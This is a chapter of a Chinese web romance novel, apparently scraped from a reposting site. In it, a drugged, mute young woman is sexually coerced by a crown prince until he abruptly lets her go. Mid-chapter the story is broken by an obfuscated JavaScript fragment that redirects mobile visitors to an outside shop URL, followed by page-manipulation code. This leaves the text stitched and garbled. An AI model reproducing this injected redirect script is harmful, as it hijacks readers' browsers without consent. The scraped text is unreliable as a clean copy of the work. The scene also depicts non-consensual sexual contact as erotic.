文趣网 > 其他小说 > 雾青 > 8. 008
    《雾青》by十有九溺

    首发/独家发表于晋江文学城

    -008-

    皎皎月色,美如绢画,一辆马车在寂静街道飞快行驶,不须时便隐入一处府邸。

    阮幼青浑身发软,任由丫鬟搀扶自己下马车,窸窸窣窣半晌,入了听雨内苑,身体触及到软榻,双目上的黑布才被扯掉。

    那丫鬟不言不语,吹灯染香便安静离去。

    七月夜燥,这听雨内苑许是太久无人居住,临时打扫出来,冷冷清清,一室荒凉,阮幼青微微瞪着眼,从玉窗看到院中有一颗花树,连绵不绝丝丝缕缕香气侵入鼻腔,甜腻中夹杂着微微苦涩。

    这里好似只有她一人。

    阮幼青默默的想,那富商是假,那贵人才是张华生真正要献媚的目标。

    最开始她设想过,待见到那贵人,就把张华生做的那些龌-龊之事全部告知,可等真正见了那人,她才发觉自己的想法实在太天真可笑。

    相比起那琢磨不透的贵人,那肥头富商简直简单的跟一张白纸没什么分别,更好下手一些。

    她也不是没想过借由张欣玉的手逃跑,可那碗莲花粥便是警示,只有阮张氏做莲花粥时,才喜欢将花蕊晒干细细碾碎放入粥中。

    唯一软肋被死死握紧,她无论如何也不能拿外祖母去冒险,任何可能招惹张华生的事,她都不敢、也不能轻易尝试。

    夜风激荡,廊中灯笼左右摇晃,光影斑驳,花树簌簌抖落,苑中木门忽然响起轻微窸窣声音。

    有人来了。

    顺着那玉窗,遥遥隔着那花树,阮幼青看到那人迎着月色而来,银白清辉将他渡上一层朦朦胧胧看不太清的轮廓,恍惚间竟让人觉得不似真人。

    没由来的,阮幼青心跳漏了一瞬,呼吸不自觉急促,她有些紧张想要起身,可浑身发软,此刻能勉强坐立就已经用尽了所有力气。

    那人沉静入室,在软榻驻足,冷峻的脸没什么表情,只是垂眸细细看她。

    如此之近距离,阮幼青这才发现他原来着了一身檀紫色蟒袍。

    普天之下,能光明正大穿蟒袍的人只有当朝太子秦承明。

    好似抓住了救命稻草,阮幼青将所有的念头抛之脑后,干哑嗓音溢出无声话语。

    秦承明盯着她的唇,“想求我?”

    语调没有半分波澜,听不出什么,阮幼青心头微微发慌,迟疑着,还是点头。

    她太坦率,秦承明沉沉盯着她,忽然冷冷笑了,“你知晓我身份?”

    在万花楼时,阮幼青自然是不知,可她既已窥见男人身着蟒袍,便是知晓了。

    她口不能言,眼不能动,浓如墨蝶双睫挥动羽翼,偏生乌云遮蔽,朦胧月色只落在男人身上,那双眸色幽深沉静,“你既不知我身份,为何贸然求我?”

    求人,求一个素不相识的人,求一个只见了一面的陌生人,总得有个无懈可击的理由。

    阮幼青双唇微微张开,可生涩喉咙却无法吐-出一个字。

    她不言语,倒像是默认了些什么。

    男人高大挺拔身影沿着月色蔓延,彻底将床榻之人笼罩。

    阮幼青嗅到一种危险,她被阴影笼罩,无路可逃,无处可退。

    秦承明端得一副居高临下姿态,微微俯身,伸手捏住她的下巴,带着强烈亵玩意味重重摩-擦那薄唇,恶劣道:“那废物费尽心思打听我的喜好,就寻来这哑巴送与我?”

    阮幼青连摇头都不得,又听闻男人不容反驳命令:“不是哑巴就开口说话。”

    阮幼青下巴阵阵生疼,被秦承明微微带着寒意的指尖摩-擦过的唇更是痛意难忍,她挣脱不得,无力挣脱,干涸嗓音被迫发出艰涩无声的单字,“不……”

    嗓音轻轻柔柔自唇角溢出,落在指骨上是一种很温热的触感,可她浑身却是抖的。

    矛盾又奇异。

    仿佛寻到有趣之事,秦承明唇角微微上扬,他略低头,准确无误寻到近在咫尺的唇-瓣间,轻拢慢捻,舔舐啃咬。

    不轻浮,不暧昧,不温柔,所过之处黏腻潮热,好似一条毒蛇,阮幼青毛骨悚然,背脊冷汗津津。

    可那毒蛇并不想轻易放过她,停留在她唇边,蠢蠢欲动,试图探入。

    阮幼青太恐惧,积攒起来的力气猛然泄力,直直跌入软榻棉被之上,还没有所动弹,便被男人顺势而为,死死压住。

    秦承明轻佻恶意的拍着她的脸颊,眸色已染了一些侵略的疯狂,可话语却异常温柔:“如此隐忍不语,倒也别有一番风味。”

    阮幼青预想过自己的处境不会好,可当那带着凉意的指尖落下来时,尽管身体因为惧怕和紧张微微痉挛,但攥起一丝力气后,还是用尽全力的挣扎了。

    她的挣扎在男人眼中根本不值一看。

    秦承明轻而易举压制她的抗拒,鼻息停留在她的脸颊,轻轻嗅闻,好似在确定什么,可阮幼青知道他是在感受她的惧怕、战栗。

    那缕气息蔓延到唇边时,阮幼青再也无法承受的狼狈躲开,死死闭上了眼睛。

    可秦承明却不给她逃避的机会。

    和侵略气息一起落下的是温软舌尖,阮幼青眼皮狠狠跳动,四肢五骸如坠寒潭,更不敢有一分动弹。

    犹如猫逗老鼠那般戏谑,温软舌尖不紧不慢,慢条斯理,细细描绘,优雅至极,好似她是一块上好美玉。

    当耳垂被含入温热口腔时,阮幼青倏然睁眼,却直直撞进秦承明含笑沉眸中,那双眸笑意盈盈,可浑身气势却压迫骇人。

    阮幼青骤然屏息,说不清的恐惧如潮水蔓延。

    秦承明欣赏着她的神色,过了半晌,温吞吞的动手为她宽衣解带,微凉指尖触及到她细白手腕一处时,心情好似好了很多,口气闲散道:“那废物没让人教过你?”

    阮幼青听不懂他的话,却有预感自己绝对不能否认,她僵硬地晃了晃脑袋。

    银白清辉将男人神色照得一清二楚,她好像看到他笑了一下,不是戏谑,不是恶劣,不是玩弄,而是一种发自内心的愉悦。

    所以当那枚吻落下来的时候,阮幼青没有任何意外。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607737|205774||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >和秦承明冷言冷面不同,他的吻很炙热急切,简直是铺天盖地的卷过来,带着绝对的掌控和霸道,攻城略池不容反驳,好似势必要把她溺死在寒潭才肯罢休。

    气息和喘息在唇舌间交汇融合,带来一种异样的感受。

    触及到秦承明眼底不加掩饰的情-欲,阮幼青心脏微缩,惶惶不安逃避似的闭上了眼睛,可下一秒又睁开了眼睛。

    她更怕闭上眼睛什么都看不到。

    她反复的举动惹得秦承明多了一分笑意,他感受着她不同寻常的僵硬和生涩,逼迫她舌尖迎合的力度放轻放柔,可谓是温柔许多。

    他暂退一步,阮幼青下意识躲避。

    她的躲避顿时惹得男人不悦。

    唇舌交融带来的酥麻酸痛太难忍,阮幼青很快无法承受的攥紧右手,抵着他的肩头,可徒劳无功,反而激得男人更得寸进尺,迫使她双捷颤-抖,眼尾潮湿。

    月色沉了,这个吻终于停下。

    阮幼青双唇发麻,舌尖酸涩,拼命大口喘息着平复呼吸。

    秦承明倒是气息不乱,轻抚着她红肿的唇,眸子盛满了满意。原本她的唇色极淡,可经此一吻,好似染了上好的胭脂,漂亮诱-人,蛊惑人心。

    阮幼青任由他抚摸,眼睛眨了眨,恍惚间感觉到鬓角有些湿热。

    好似一切才刚刚开始。

    她在男人的目光下,无处遁形。

    “别……”

    许是刚刚的吻让人产生了一种错觉,阮幼青居然有种希翼,清亮眼眸含了些湿润,“别这样……”

    她生得一副神清骨秀冷冷清清,此刻低低乞求勾得人心底恶劣滋生。

    想要她。

    想占据她。

    想弄碎她。

    隐晦念头如潮水。

    秦承明双目晦暗,定定的看着她。

    在阮幼青以为事情有所回旋时,却眼睁睁瞧着他神色越发晦暗。

    她骇然,本能挣扎扭动要逃,却被一双大手攥住。

    近日堆积的所有委屈不安和恐惧紧张汹涌袭来。

    所有的抗拒推搡却好似只是平添了情趣,她隐忍不语,却终究无措低低哭喊。

    那双清亮双眸盛满了亮晶晶的东西,真的能让人心软。

    秦承明居高临下的看着她,低头附耳轻笑低喃。

    阮幼青颤颤巍巍,哑声妥协。

    秦承明抬眸问:“要我教你吗?”

    他的目光灼热,阮幼青浑身发颤,本能想要圈住自己的身体,可却被他用不容反驳的力度握紧了手。

    手中之物激得阮幼青猛然打了个寒颤,她欲闪躲,依旧是挣脱不得,反而惹得男人戏谑的笑。

    阮幼青不知何时泪流满面,她咬紧唇,将所有的抽噎声吞入腹中。

    许是她哭得太隐忍可怜,秦承明忽然搂着她的腰身坐起来,语气听不出来什么,“有那么委屈吗?”

    回应他的只有一片湿润。

    秦承明摸到胸膛濡湿一片,定定的看着她,冷冷嗤笑,“我不强迫女人,滚吧。”